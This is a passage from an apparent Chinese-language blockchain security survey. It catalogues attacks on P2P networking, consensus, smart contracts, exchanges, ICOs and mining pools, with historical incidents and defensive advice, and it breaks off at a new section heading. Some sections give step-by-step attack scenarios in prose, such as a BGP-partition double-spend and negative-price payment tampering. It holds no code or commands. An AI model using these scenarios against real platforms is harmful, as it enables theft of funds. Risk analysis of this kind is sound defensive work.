  P2P網絡依賴附近的節點來進行信息傳輸必須要互相暴露對方的IP,若網絡中存在一個攻擊者,就很容易給其他節點帶來安全威脅,中心化的網絡不會太過擔心此問題的原因是組織的網絡中心的安全性都是極高的,即使暴露也不會有太大問題。

  而去中心化的公鏈網絡節點可能是普通家庭PC,可能是雲服務器等等,其安全性必然是參差不齊的,其中必有安全性較差的節點,對其進行攻擊將直接威脅節點的安全。

  針對P2P網絡的安全風險,我們分析總結了以下攻擊方式:

  日食攻擊

  日食攻擊[5]是其他節點實施的網絡層面攻擊,其攻擊手段是囤積和霸佔受害者的點對點連接間隙,將該節點保留在一個隔離的網絡中。這種類型的攻擊旨在阻止最新的區塊鏈信息進入到日食節點,從而隔離節點。

  竊聽攻擊

  攻擊者可以使用這種攻擊來讓區塊鏈中的用戶標識與ip關聯起來,在某些情況下甚至可以追溯到用戶的家庭地址。

  以比特幣為例,當你在比特幣網絡上執行交易時,你的比特幣客戶端通常通過連接到一組八台服務器來加入網絡,這個初始連接集合就是你的入口節點,每個用戶都會獲得一組唯一的入口節點。

  當你的錢包發送比特幣完成購買時,入口節點將交易轉交給比特幣網絡的其餘部分,研究人員發現,識別一組一口節點意味着識別一個特定的比特幣客戶端,以此來推導出某個用戶。

  那麼,攻擊者要做的是與比特幣服務器建立多個連接,連接后,攻擊者必須聽取客戶端與服務端的初始連接,這會泄露客戶端的ip地址。

  隨着交易流經網絡,它們將會與客戶端的入口節點相關聯,如果匹配,那麼攻擊者就知道這是來自一個特定客戶端的交易。

  BGP劫持攻擊

  邊界網關協議(BGP)是因特網的關鍵組成部分,用於確定路由路徑。BGP劫持,即利用BGP操縱因特網路由路徑,最近幾年中已經變得越來越頻繁。 無論是網絡犯罪分子還是政府,都可以利用這種技術來達到自己的目的,如誤導和攔截流量等,目前在區塊鏈網絡中節點的流量一但被接管又能對整個網絡造成巨大的影響,如破壞共識機制,交易等各種信息。而對於BGP劫持攻擊中,目前有安全研究者已經證明該攻擊的概念可行性,從2015年11月5日至2016年11月15日通過對節點網絡的分析統計目前大多數比特幣節點都託管在少數特定的幾個互聯網服務提供商(ISPs),而60%的比特幣連接都是在這幾個ISP。所以這幾個ISP可以看到60%的比特幣流量,所以也能夠做到對目前比特幣網絡的流量控制權,研究者通過劫持的場景驗證了至少如下兩個攻擊概念是可行的,同時給出了驗證的代碼[8]。

  分割攻擊

  攻擊者可以利用BGP劫持來講區塊鏈網絡劃分成兩個或多個不相交的網絡,此時的區塊鏈會分叉為兩條或多條并行鏈。攻擊停止后,區塊鏈會重新統一為一條鏈,以最長的鏈為主鏈,其他的鏈將被廢棄,其上的交易、獎勵等全部無效。

  攻擊場景舉例:

  1) 首先,攻擊者發動BGP劫持,將網絡分割為兩部分,一個大網絡、一個小網絡。

  2) 在小網絡中,攻擊者發布交易賣出自己全部的加密貨幣,並兌換為法幣。

  3) 經過小網絡的“全網確認”,這筆交易生效,攻擊者獲得等值的法幣。

  4) 攻擊者釋放BGP劫持,大網絡與小網絡互通,小網絡上的一切交易被大網絡否定,攻擊者的加密貨幣全部回歸到賬戶,而交易得來的法幣,依然還在攻擊者手中,完成獲利。

  延遲攻擊

  攻擊者可以利用BGP劫持來延遲目標的區塊更新,而且不被發現。因為它是基於中間人修改目標請求區塊的數據來做到的:在目標請求獲取最新區塊的時候,將它的這一請求修改為獲取舊區塊的請求,使得目標獲得較舊的塊。

  攻擊場景舉例:

  1) 攻擊者修改礦工獲取最新塊請求

  2) 礦工無法獲取到新區塊

  3) 礦工損失算力以及獎勵機會

  節點客戶端漏洞

  攻擊者在內網或者外網利用各種手段譬如漏洞掃描,0day漏洞利用等技術,對節點客戶端進行攻擊,此類攻擊主要針對客戶端自身軟件可能存在安全漏洞進行利用,獲取節點的控制權限。

  拒絕服務攻擊

  通過大流量,或者漏洞的方式攻擊P2P網絡中的節點,使網絡中部分節點網絡癱瘓,節點癱瘓意味着鏈中總算力受損,使得其更容易遭受51%攻擊,而目前進行拒絕服務攻擊成本也較低,大量的攻擊工具平台能輕易在黑市購買用於攻擊。

  案例

  2018年3月22日,閃電網絡[10]節點遭受DDOS攻擊,導致大約200個節點離線,從大約1,050個節點降到了870個。

  3.2.2 廣播機制

  簡要

  在區塊鏈中,節點是與節點互相連接的。當某節點接入到區塊鏈網絡后,單個節點會與其他節點建立連接。此時該節點就具備了廣播信息的資格,在將信息傳播給其他節點后,其他節點會驗證此信息是否為有效的信息,確認無誤后再繼續向其他節點廣播。

  風險

  針對廣播機制的安全風險,我們分析總結了以下攻擊方式:

  雙重支出攻擊

  又稱雙花問題[9],指的是一個代幣花費在多筆交易中的攻擊,它的實現方法主要有以下幾種。

  1. 種族攻擊:在面對0確認的交易便立刻進行付款的商家可能會遭遇此攻擊。欺詐者直接向商家發送支付給商家的交易,併發送衝突的交易,將代幣投入自己到網絡的其餘部分。第二個衝突的交易很可能會被開採出來,並被區塊鏈節點認為是真的,於是付款交易作廢。

  2. 芬尼攻擊:當接受0確認的付款時可能會遭遇此攻擊。假設攻擊者偶爾產生數據塊。在他生成的每個區塊中,他包括從他控制的地址A到地址B的轉移。為了欺騙你,當他生成一個塊時,他不會廣播它。相反,他打開您的商店網頁,並使用地址A向您的地址C付款。您可能會花費幾秒鐘的時間尋找雙重花費,然後轉讓商品。接着他廣播他之前的區塊,他的交易將優先於你的交易,於是付款交易作廢。

  3. Vector76攻擊:也被稱為單一確認攻擊,是種族攻擊和芬尼攻擊的組合,因此即使有一次確認的交易仍然可以逆轉。對於種族攻擊,相同的保護措施顯然降低了發生這種情況的風險。 值得注意的是,成功的攻擊會使攻擊者花費一個塊,他們需要通過不傳播它來“犧牲”一個塊,而是僅將其轉讓給被攻擊的節點。

  4. 替代歷史攻擊:即使商家等待一些確認,這種攻擊也有機會成功,但風險較高。攻擊者向商家提交支付的交易,同時私下挖掘其中包含欺詐性雙重支出交易的分支。等待n次確認后,商家發送產品。如果攻擊者此時碰巧找到n個以上的區塊,他就會釋放他的分支並重新獲得他的硬幣。

  5. 51%攻擊:如果攻擊者控制全網算力的一半以上,則前面提到的替代歷史攻擊有100%的概率成功。由於攻擊者可以比網絡的其他部分更快地生成塊,所以他可以堅持自己的私有分支,直到它比誠實節點網絡建立的分支更長,它將代替主鏈。

  交易延展性攻擊

  延展性攻擊者偵聽P2P網絡中的交易,利用交易簽名算法的特徵修改原交易中的input 簽名, 生成擁有一樣input和output的新交易,然後廣播到網絡中形成雙花,這樣原來的交易就可能有一定的概率不能被確認,在虛擬貨幣交易的情況下,它可以被用來進行二次存款或雙重提現。

  案例

  1. 2014年8月,在線黑市Silk Road 2遭遇交易延展性攻擊,部分比特幣被盜,損失約260萬美元

  2. 2013年11月,GHash.io礦池對賭博網站BetCoin Dice進行多次付款欺詐,實施雙重支出攻擊

  3.2.3 驗證機制

  簡要

  區塊鏈的運行為了維持其數據的有效性與真實性,必須要有相應的驗證機制來限制節點必須將真實信息寫入區塊中。

  風險

  針對驗證機制的安全風險,我們分析總結了以下攻擊方式:

  驗證繞過

  驗證機制的代碼是區塊鏈應用的核心之一,一旦出現問題將直接導致區塊鏈的數據混亂,而且核心代碼的修改與升級都涉及到區塊鏈分叉的問題,所以驗證機制的嚴謹性就顯得尤為重要。

  必須要結合驗證機制代碼的語言特性來進行大量的白盒審計或是模糊測試,來保證驗證機制的不可繞過。

  案例

  比特幣無限造幣漏洞:2010年8月15日,有人在比特幣區塊鏈的第74638塊上發現了一條讓人驚愕的交易,這筆交易里竟然出現了184,467,440,737.09551616個比特幣,其中各有922億個比特幣被發送到兩個比特幣地址。

  這次攻擊的根本原因則是比特幣的驗證機制中存在大整數溢出漏洞,由於大整數溢出為負數,網絡各個節點對黑客的交易均驗證通過,導致了比特幣區塊鏈中憑空出現了大量比特幣。

  3.3 激勵層

  3.3.1 獎勵機制

  簡要

  激勵層目的是提供一定的激勵措施鼓勵節點參與區塊鏈的安全驗證工作。區塊鏈的安全性依賴於眾多節點的參與。例如比特幣區塊鏈的安全性是基於眾多節點參與工作量證明帶來的巨大的計算量,使得攻擊者無法提供更高的計算量。節點的驗證過程通常需要耗費的計算資源和電能。為了鼓勵節點參與,區塊鏈通常會採用虛擬貨幣的形式獎勵參與者,目前比特幣、萊特幣、以太幣都是這種機制的產物。以比特幣為例,獎勵機制包括了兩種,第一種是新區快產生后系統生成的比特幣,第二種是每筆交易會扣除萬分之一比特幣作為手續費。在前期,每一個區塊的創建者都會獲得一定數量的比特幣,創世區塊提供50個比特幣,之後隨着系統中比特幣數量的持續增加,這種模式提供的比特幣數量會持續減半。當比特幣總量達到2100萬時,新產生的區塊將不再生成比特幣。這時主要依靠第二種手續費作為獎勵機制。

  風險

  獎勵不符合市場預期

  區塊鏈項目需要順應市場自動適當調整獎勵,而不是一味降低。若在區塊鏈項目獎勵機制中,當節點們的工作成本小於和接近於收益的時候,他們往往會選擇不再為這個區塊鏈工作,從而很容易導致中心化問題。

  攻擊場景:

  1. 比特幣區塊鏈上的被全部開採完畢

  2. 礦工獎勵驟降,大量礦工下鏈

  3. 攻擊者以較低成本發動51%攻擊

  案例

  目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

  3.4 共識層

  3.4.1 共識機制

  簡要

  共識機制賦予了區塊鏈技術靈魂,使它與其他的P2P技術差異化。

  目前常用的共識機制有PoW(工作量證明機制)、PoS(權益證明機制)、DPoS(股份授權證明機制),然而他們都不是完美的,都有各自的優點與缺點。對於各種共識機制的對比[11]我們列出如下列表進行說明:

   風險

  針對共識機制的安全風險,我們分析總結了以下攻擊方式以及適用範圍:  

  短距離攻擊

  此類攻擊比較典型的是“賄賂攻擊”,此攻擊主要影響PoS共識機制,賄賂攻擊流程如下:

  1) 攻擊者購買某個商品或服務。

  2) 商戶開始等待網絡確認這筆交易。

  3) 此時,攻擊者開始在網絡中首次宣稱,對目前相對最長的不包含這次交易的主鏈進行獎勵。

  4) 當主鏈足夠長時,攻擊者開始放出更大的獎勵,獎勵那些在包含此次交易的鏈條中挖礦的礦工。

  5) 六次確認達成后,放棄獎勵。

  6) 貨物到手,同時放棄攻擊者選中的鏈條。

  因此,只要此次賄賂攻擊的成本小於貨物或者服務費用,此次攻擊就是成功的。相比之下,PoW 機制中賄賂攻擊就需要賄賂大多數礦工,因此成本極高,難以實現。

  長距離攻擊

  此類攻擊比較典型的是“51%”攻擊。在PoS 中,產生每個 Block 的速度相對 PoW 快了很多。因此,少數不懷好意的節點會想着把整個區塊鏈共識賬本全部重寫。這在 PoW 中是經典的 51% 問題,即:當某一個節點控制了 51% 及以上算力,就有能力篡改賬本,但達到 51% 算力是件極其困難的事情。而在 PoS 中缺乏對算力的約束,那麼就存在潛在可能篡改賬本。

  幣齡累計攻擊

  在最早的 Peercoin 版本中,挖礦難度不僅與當前賬戶餘額有關,也與每個幣的持幣時間掛鈎。這就導致,部分節點在等待足夠長時間后,就有能力利用 Age 的增加來控制整個網絡,產生非常顯著的影響。

  預計算攻擊

  當 PoS 中的某一節點佔有了一定量的算力后,PoS 中佔有特定算力的節點,就有能力通過控制 Hprev 來使自己所在算力範圍有能力去計算 Hnext。

  女巫攻擊

  又稱Sybil攻擊,在Sybil攻擊中,攻擊者通過創建大量的假名標識來破壞對等網絡的信譽系統,使用它們獲得不成比例的大的影響。對等網絡上的實體是能夠訪問本地資源的一塊軟件。實體通過呈現身份在網絡上通告自身。 多於一個標識可以對應於單個實體。

  換句話說,身份到實體的映射是多對一的。對等網絡中的實體為了冗餘,資源共享,可靠性和完整性而使用多個標識。

  在對等網絡中,身份用作抽象,使得遠程實體可以知道身份而不必知道身份與本地實體的對應關係。

  默認情況下,通常假定每個不同的標識對應於不同的本地實體。實際上,許多身份可以對應於相同的本地實體。

  對手可以向對等網絡呈現多個身份,以便出現並充當多個不同的節點。因此,對手可能能夠獲得對網絡的不成比例的控制水平,例如通過影響投票結果。

  案例

  1. 2016年8月份,基於以太坊的数字貨幣Krypton遭受來自一個名為“51% Crew”的組織通過租用Nicehash的算力,進行51%攻擊,導致該區塊鏈損失約21,465 KR的代幣。

  3.5 合約層

  3.5.1 合約虛擬機

  簡要

  隨着區塊鏈技術的不斷升級,區塊鏈已經具備在鏈上繁衍出多種應用的功能,而實現這種功能的基礎就是合約虛擬機(用於運行各種智能合約的平台),此技術的出現極大的提高了區塊鏈的可擴展性,是區塊鏈2.0的重要標誌。

  合約虛擬機的出現為合約代碼提供了沙盒式的執行環境。

  風險

  合約虛擬機運行在區塊鏈的各個節點上,接受並部署來自節點的智能合約代碼,若虛擬機存在漏洞或相關限制機制不完善,很可能運行來自攻擊者的惡意的智能合約。

  針對合約虛擬機的安全風險,我們分析總結了以下攻擊方式:

  逃逸漏洞

  虛擬機在運行字節碼的時候會提供一個沙盒環境,一般用戶只能在沙盒的限制中執行相應的代碼,此類型漏洞會使得攻擊者退出沙盒環境,執行其他本不能執行的代碼。

  邏輯漏洞

  虛擬機在發現數據或代碼不符合規範時,可能會對數據做一些“容錯處理”,這就導致可能會出現一些邏輯問題,最典型的是“以太坊短地址攻擊”。

  堆棧溢出漏洞

  攻擊者可通過編寫惡意代碼讓虛擬機去解析執行,最終導致棧的深度超過虛擬機允許的最大深度,或不斷佔用系統內存導致內存溢出。

  此種攻擊可引發多種威脅,最嚴重的是造成命令執行漏洞。

  資源濫用漏洞

  攻擊者可以在虛擬機上部署一份惡意代碼,消耗系統的網絡資源、存儲資源、計算資源、內存資源。

  所以在虛擬機中必須要有相應的限制機制來防止系統的資源被濫用。

  在以太坊中採用的是gas機制,攻擊者想要在以太坊虛擬機上做更多操作,需要付出經濟代價。

  案例

  以太坊短地址漏洞:由於EVM並沒有嚴格校驗地址的位數,並且還擅自自動補充消失的位數,使得合約多發送很多代幣出來。

  3.5.2 智能合約

  簡要

  智能合約是一種旨在以信息化方式傳播、驗證或執行合同的計算機協議。智能合約允許在沒有第三方的情況下進行可信交易。這些交易可追蹤且不可逆轉。

  風險

  智能合約本質上是一份代碼程序,難免會有因為考慮不周的導致出現漏洞的情況,所以在發布一份智能合約之前,進行大量的模糊測試與白盒審計是必不可少的。

  在將大量資金放入合約之前,合約應當進行大量的長時間的測試。

  至少應該:

  ● 擁有100%測試覆蓋率的完整測試套件(或接近它)

  ● 在自己的testnet上部署

  ● 在公共測試網上部署大量測試和錯誤獎勵

  ● 徹底的測試應該允許各種玩家與合約進行大規模互動

  ● 在主網上部署beta版以限制風險總額

  針對智能合約的安全風險,我們分析總結了以下攻擊方式:

  可重入攻擊

  當智能合約A調用智能合約B時,智能合約B可以在被調用的函數中寫入“使智能合約A調用智能合約B”的代碼,這樣就造成了可重入攻擊。

  比較典型的一個案例:

  1. 智能合約A向智能合約B發起提現請求

  2. 智能合約B向智能合約A轉賬,並調用智能合約A的回調函數

  3. 智能合約A的回調函數中被寫入的操作是“智能合約A向智能合約B發起提現請求”。

  4. 又回到了步驟1,一直循環步驟1234直到不滿足循環條件。

  5. 提現結束

  調用深度攻擊

  在合約虛擬機中,會對智能合約的互相調用的深度定一個閾值,超過這個深度調用就會失敗,例如在以太坊EVM中,調用深度被限製為1024。

  調用深度攻擊可以讓合約調用失敗,即使這個調用在邏輯上不存在任何問題,但是在虛擬機層面以及不被允許了,因為調用深度達到了虛擬機中的閾值,超過閾值不再往下執行。

  攻擊者可以通過控制調用深度,來使某些關鍵操作無法執行,例如:轉賬、餘額清零等。

  交易順序依賴攻擊

  智能合約的執行會隨着當前交易處理順序的不同而產生不同的結果。

  場景:攻擊者發布一個解題合約,在合約中寫給出豐厚的解題獎勵。等有人提交了正確答案后,此時的答案還需要經過其他節點的確認,合約才會執行獎勵操作。此時攻擊者可以提交一個將獎勵額度調低的交易,這筆交易肯定是在獎勵操作的後面,理論上不會造成給答題人帶來損失。

  但是,在區塊鏈項目中,交易順序並不是一成不變的,例如在以太坊中,交易順序就會隨着交易發布者的gas(交易費)的高低來決定先確認哪筆交易。

  此時若攻擊者更改獎勵額度的交易給的交易費比較高,驗證節點會先執行這筆交易,最終會導致答題人最後得到的獎勵額度是調低的額度。而攻擊者以一個較低的成本就買到了正確答案。

  時間戳依賴攻擊

  如果智能合約在敏感操作中依賴時間戳,可能會導致執行結果被預測。

  場景:若發布一個抽獎合約,抽獎結果由當前區塊的時間戳和其他因素組合計算而來,攻擊者可以通過提前嘗試不同的時間戳來計算這個抽獎結果,從而導致結果被預測。

  誤操作異常攻擊

  當合約A調用另外一個合約B的操作的時候,合約B操作的執行可能會因為種種原因導致執行失敗,從而退回到未執行前的狀態,此時合約A若不檢查合約B執行的結果繼續往下執行,會導致很多問題。

  場景:合約A調用合約B的提現操作后並在合約A的餘額中增加與提現額度一樣的數值。此時若沒檢查合約B的執行提現操作的返回值,就可能會導致合約B中的餘額並沒減少,而合約A中的餘額卻已經增加了。

  整數溢出攻擊

  在常見的程序語言中,對整數類型的變量一般都會有最大值和最小值。智能合約本質上也是一份程序代碼,合約中的整數也會有相應的最大值和最小值。一旦變量所存儲的值超過了最大值就會發生整數上溢錯誤,導致變量最後存儲的值為0,反之則是整數下溢錯誤,變量最後存儲的值為變量最大值。當然,溢出的情況並不限於以上整數上溢或者整數下溢,還可能會在計算、轉換等過程中發生溢出。

  場景:假設某個智能合約中的餘額為無符號整數類型,此類型的範圍為0~65535,當攻擊者通過某種方法使餘額小於0時,它在智能合約中的餘額將下溢為65535。使餘額大於65535時,它在智能合約中的餘額將上溢為0。

  基於以太坊的多個ERC20智能合約就遭受過整形溢出漏洞的影響,如圖:該漏洞就是一個典型的整形溢出導致,繞過業務邏輯,能夠刷出大量的token。

  ERC20相關的智能合約中就曾曝出過batchTransfer(CVE-2018–10299),SmartMesh 合約中transferProxy函數,proxyTransfer函數(CVE-2018-10376),UET合約的 transferFrom函數(CVE-2018-10468),都出現過整形溢出的問題。

  案例

  1. 2016年6月發生了一起史上最大的智能合約事件,它就是著名的The DAO攻擊事件。導致價值6000萬美元的以太幣被盜,迫使以太幣被硬分叉為ETH和ETC。

  2. 2017年7月,以太坊發生了Parity多重簽名錢包被盜事件,黑客從從三個高安全的多重簽名合約中竊取到超過15萬ETH(約3000萬美元)。

  3. 2018年4月,BeautyChain(BEC)智能合約中出現了一個災難性的漏洞(整形溢出漏洞),導致損失約10億美元

  4. 2018年4月, SMT的智能合約漏洞(整形溢出)。

  3.6 業務層

  3.6.1 交易平台

  3.6.1.1 網絡帶寬

  簡要

  目前在網絡中有許多以區塊鏈作為底層技術的加密貨幣的交易平台,用戶在通過交易平台來購買和出售加密貨幣,對於主流的交易平台,每天都有大量的用戶在平台上進行交易,其網絡帶寬對於交易平台來說至關重要。

  風險

  針對交易平台的安全風險主要為拒絕服務攻擊:

  拒絕服務攻擊

  由於交易平台對於網絡帶寬的存在高需求,所以一旦發生DDoS攻擊,對於平台和整個行業來說是非常嚴重的。若交易平台被DDoS攻擊,不但交易平台蒙受損失,區塊鏈貨幣的交易量也

  將大大減少,間接影響區塊鏈貨幣的漲跌,在我們統計的安全事件中,以及調查的相關案例显示目前只要是交易平台上線都遭受到DDOS攻擊過。

  場景:攻擊者首先通過DDOS使平台無法訪問,此時通常一定會有相關的新聞資訊報道這次事件。然而普通大眾並分不清拒絕訪問攻擊與入侵的區別,在自己所使用的交易平台被“攻擊”后,為了自己的資金安全通常會選擇轉向別的平台,導致此平台資金、用戶流失。

  案例

  1. 2017年5月12日,Poloniex交易平台遭受了嚴重的DDoS攻擊,BTC/USDT的交易價格一度困於1761美元,絕大多數用戶都無法執行訂單或是提取資金。

  2. 2017年12月12日,比特幣交易平台Bitfinex遭受嚴重DDoS攻擊,API癱瘓。消息傳出后,比特幣下跌1.1%,報16968美元。

  3.6.1.2 賬戶體系

  簡要

  賬戶是交易平台必須具備的基礎配置,賬戶是開戶的憑證,包含賬號和密碼,意味着你成為他們的用戶,平台必須根據相關條約對你賬號的隱私、安全負責。

  風險

  交易平台為保證用戶的資金安全需要建立高強度的賬戶安全體系。具體需要做到如下幾點:

  1. 防撞庫,人機識別

  2. 進行敏感操作的時候啟用多因素認證

  3. 邏輯縝密,務必要杜絕“密碼找回漏洞”、“登陸繞過”、“越權訪問/調用”等漏洞

  4. 防暴力破解,對登陸頻率進行限制

  5. 防cookie泄露,開啟httponly,杜絕XSS漏洞

  6. 防跨站請求偽造,提交動作盡量使用POST並且增加token,杜絕CSRF漏洞

  7. 若使用SSO、oauth等登陸方式,務必嚴格遵循協議標準實現

  8. 賬號風控

  針對交易平台賬戶體系的安全風險,我們分析總結了以下攻擊方式:

  撞庫攻擊

  由於目前的網民普遍安全意識不足,經常會使用通用的用戶名和密碼,在不同的網站上使用同樣的賬號和口令登陸。

  導致攻擊者通過手機互聯網上已公開或還未公開的用戶名、郵箱、密碼等信息來在要攻擊的網站上通過程序批量嘗試。

  場景:攻擊者通過網絡釣魚或者收集網絡上已公開的與區塊鏈相關網站的用戶數據(包括用戶名、密碼等)在目標交易平台上使用程序自動化逐個嘗試,導致賬戶安全受到極大威脅。

  窮舉攻擊

  若網站不對登陸接口做請求限制或者風控,會導致攻擊者可以無限發送請求逐個測試可能的值來暴力破解某些關鍵信息。

  場景:

  1. 在短信驗證中,若不對短信驗證碼的有效期做限制或者驗證接口做限制,很容易短信驗證碼被破解。

  2. 若登陸接口未做請求限制,攻擊者可以通過大量的密碼字典來暴力破解某個賬戶的密碼。又或者說,攻擊者可以通過大量的用戶名字典來暴力破解密碼為某個值的用戶,比如密碼為123456的用戶。

  單點登陸漏洞

  在賬戶體系中此類漏洞比較隱蔽,攻擊者可以通過CSRF、XSS等手段來竊取用戶登陸的ticket,從而導致用戶賬號被竊取。

  主要有以下攻擊面:

  ● 未使用HTTPS導致中間人劫持

  ● Jsonp接口泄露ticket

  ● CSRF漏洞竊取ticket

  ● XSS漏洞竊取ticket

  oAuth協議漏洞

  oAuth協議到2.0實際上已經足夠安全,但是只是協議安全,並不代表它的最終實現就沒有問題,在安全意識不足的情況下很容易導致出現一些潛在威脅,導致攻擊者可以通過CSRF等手

  段來越權登陸他人賬號。

  主要有以下攻擊面:

  ● 利用CSRF漏洞綁定劫持

  ● 利用redirect_uri授權劫持

  ● 利用scope權限控制不當越權訪問

  案例

  2017年10月2日,OKCoin旗下交易所出現大量賬戶被盜情況,不完全統計損失金額在一千餘萬人民幣左右,用戶懷疑平台已被攻擊,或有已被關閉平台的交易所員工向黑客泄漏了平台

  用戶的賬戶信息,黑客通過用戶信息破解賬戶密碼登錄平台,然後在平台上完成数字資產轉移。

  3.6.1.3 支付體系

  簡要

  交易平台內充值、提現都涉及到了支付,所以完整的支付體系也是交易平台必備的基礎配置。

  風險

  針對交易平台支付體系的安全風險,我們分析總結了以下攻擊方式:

  支付漏洞

  凡是涉及到支付,則就有可能出現支付漏洞,且支付漏洞直接涉及到資金的安全問題,無論對平台或是用戶來說都是高風險,必須要謹慎對待。以下總結了支付體系中常見的問題:

  1. 修改支付價格問題:在支付時未對支付價格做後端驗證,導致可以將價格調低甚至設為負數來通過交易獲得收入。

  2. 修改購買數量問題:在支付的過程中,數量也同時決定着價格,比如:1個數量商品對應的是100,2個數據就是200,那麼當你修改這個值數量值為負數時,那麼其金額也會變為負數,最後就會導致支付問題的產生。

  3. 最大值支付問題:通過購買大量商品使得最後的支付數額非常大,後端可能存在大整數溢出漏洞,當數值超過了某個閾值后,得到的結果會為0或者負數。

  4. 越權支付問題:後端缺少驗證,導致可通過改包修改當前用戶ID使用他人餘額進行支付。

  案例

  目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

  3.6.1.4 業務邏輯

  簡要

  業務邏輯即交易平台的業務流程或用戶操作流程,還包含交易平台的交易策略和規範。

  風險

  針對交易平台業務邏輯的安全風險,我們分析總結了以下攻擊方式:

  邏輯漏洞

  業務邏輯必須嚴謹,必須要對每段業務邏輯代碼進行大量的模糊測試與代碼審計,因為此類漏洞很難用傳統的方式發現,只能藉助於人的邏輯思維去思考其中可能出現的問題。目前常

  見的業務邏輯漏洞有如下幾種:

  ● 越權漏洞

  ● 驗證碼漏洞

  ● 條件競爭漏洞

  ● 認證漏洞

  案例

  目前暫無實際攻擊曝光,但在某些層面可能存在致命安全隱患

  3.6.2 首次代幣發行(ICO)

  簡要

  ICO是類似於IPO的一種區塊鏈項目融資方式,用於項目的起步資金,與IPO不同的是:ICO是一種以幣換幣的融資行為,一般以比特幣或以太坊換取該項目代幣。

  風險

  針對目前ICO的業務形態,已經發生了各種針對ICO業務的特定攻擊場景如下:

  篡改攻擊

  ICO在募集資金的時候,一般會在項目官網上掛出收款地址,然後投資人會陸續往此地址轉賬以換取相應代幣。

  攻擊場景:黑客通過域名劫持、web漏洞、或社會工程學等等之類的攻擊手段來篡改項目官網上的收款地址,此之後項目募集到的資金便落到了黑客的手中。

  釣魚攻擊

  攻擊者利用社會工程學等手段來冒充官方,使用戶向攻擊者的錢包地址中轉賬。

  攻擊場景:

  1. 利用近似域名+高度仿冒網站欺騙投資者

  2. 利用电子郵件散步虛假信息,如ICO項目的收款地址更改通知等

  3. 在社交軟件、媒體上散步釣魚信息來欺詐投資者

  案例

  2017年7月,CoinDash項目ICO收款地址遭到黑客篡改,價值約1000萬美元的eth流入黑客錢包。

  3.6.3 礦工

  3.6.3.1 礦機系統

  簡要

  普通的家用PC、服務器等,並不是挖礦最合適的設備。一些廠商為了減少挖礦成本以及提高挖礦效率,根據幣種的算法專門研發出了相應的挖礦設備。並在上面搭建相應的訪問來提供遠程訪問以及控制,這種專門用來進行挖礦的設備即被稱為礦機。

  風險

  設備廠商們的安全防護意識是參差不齊的,而且由於其閉源的特性,其代碼的安全性無法被大眾檢查,一旦出現安全問題,結果就是致命的。

  而且設備廠商是否會在設備中穿插後門進行遠程控制,亦或是偷偷竊取挖礦產出,這些都還有待商榷。

  針對礦機系統的安全風險,我們分析總結了以下攻擊方式:

  0day漏洞攻擊

  礦機系統大多都是屬於通用系統,很少會定製開發。一般是廠家售賣礦機時自帶的,多個廠商肯能會使用同一套系統,只是貼牌配置不一樣的硬件。

  沒有絕對安全的系統,礦機也不例外,一旦某個礦機系統被發現存在0day漏洞[15],那系統的安全壁壘將瞬間被打破,攻擊者可以利用漏洞拿到修改權限後進行獎勵接收地址篡改然後劫持用戶的獎勵。

  所以有必要對礦機進行訪問控制以及網絡隔離,以及相應的防護來抵禦0day漏洞攻擊。

  滲透攻擊

  目前已經有組織對礦機進行持續性的滲透攻擊,利用漏洞組合拳,最終獲取到系統的篡改控制權限威脅礦機的系統安全,該攻擊方式不限制於某一特定漏洞,最終以拿到系統權限為目的。

  弱口令攻擊

  目前市面的礦機系統都是以B/S架構,在訪問礦機系統一般是通過web或者是別的途徑,若是在礦機上使用弱密碼,則會極易遭到入侵。

  獎勵接收地址篡改

  在挖礦主機系統被攻陷后,可能利用各種漏洞,最終黑客目的都是為了獲取相關利益,而最直接的就是通過修改獎勵的接受地址來使受害者的收穫全部被黑客獲取。

  案例

  1. 2017年4月份,比特大陸旗下螞蟻礦機被指存在後門,可導致礦機被遠程關閉。若此攻擊發生,將導致比特幣區塊鏈中損失大量算力。

  2. 以下某挖礦系統存在弱口令,可導致比特幣接受地址被篡改。

  3.6.3.2 礦池

  簡要

  由於比特幣全網的運算水準在不斷的呈指數級別上漲,單個設備或少量的算力都無法在比特幣網絡上獲取到比特幣網絡提供的區塊獎勵。在全網算力提升到了一定程度后,過低的獲取獎勵的概率,促使一“bitcointalk”(全球最大的比特幣論壇)上的極客開發出一種可以將少量算力合併聯合運作的方法,使用這種方式建立的網站便被稱作“礦池”(Mining Pool)。

  在此機制中,不論個人礦工所能使用的運算力多寡,只要是透過加入礦池來參與挖礦活動,無論是否有成功挖掘出有效資料塊,皆可經由對礦池的貢獻來獲得少量比特幣獎勵,亦即多人合作挖礦,獲得的比特幣獎勵也由多人依照貢獻度分享。

  截止2018年4月,全球算力排名前五的比特幣礦池有:AntPool、BTC.com 、BTC.TOP、ViaBTC、F2Pool,目前全球約70%的算力在中國礦工手中。


(以上數據來至https://btc.com/stats/pool)

  風險

  針對礦池平台的安全風險以及礦池本身在區塊鏈網絡的特殊角色,我們分析總結了以下影響區塊鏈網絡的攻擊方式:

  算力偽造攻擊

  礦池會通過某種特定的工作量證明檢驗算法來檢驗當前礦工的實際算力,但是在算法的實現上可能不一定完美無瑕,當算法的實現上存在某種漏洞可以虛報算力時,會給礦池平台帶來很大的經濟損失。

  因為當前礦工實際上並沒有給礦池貢獻那麼高的算力,卻拿了與算力相當的獎勵分配,對於礦池中的其他礦工來說極其不公平。

  場景:黑客通過尋找礦池算力檢驗算法的漏洞來虛報算力,然後獲取到與實際算力不想當的超額獎勵。

  扣塊攻擊

  也叫做藏塊攻擊。在礦工參與礦池進行挖礦的過程中,只要有一個礦工解題成功,題解會上交給礦池,整個礦池所有的礦工便會共享這次的解題成果,並按照算力貢獻大小來分配獎勵。

  但在實際情況中,礦池中的礦工可以不遵守規則,在得到題解后不回傳給礦池,而是選擇私吞,在這種情況下就會造成礦池利益的極大損失。

  場景:礦池中的某節點在挖到區塊之後並不上交給礦池,而是選擇“私吞”,這樣既能享受礦池所帶來的福利,又能從挖礦中獲得利益。

  自私採礦攻擊

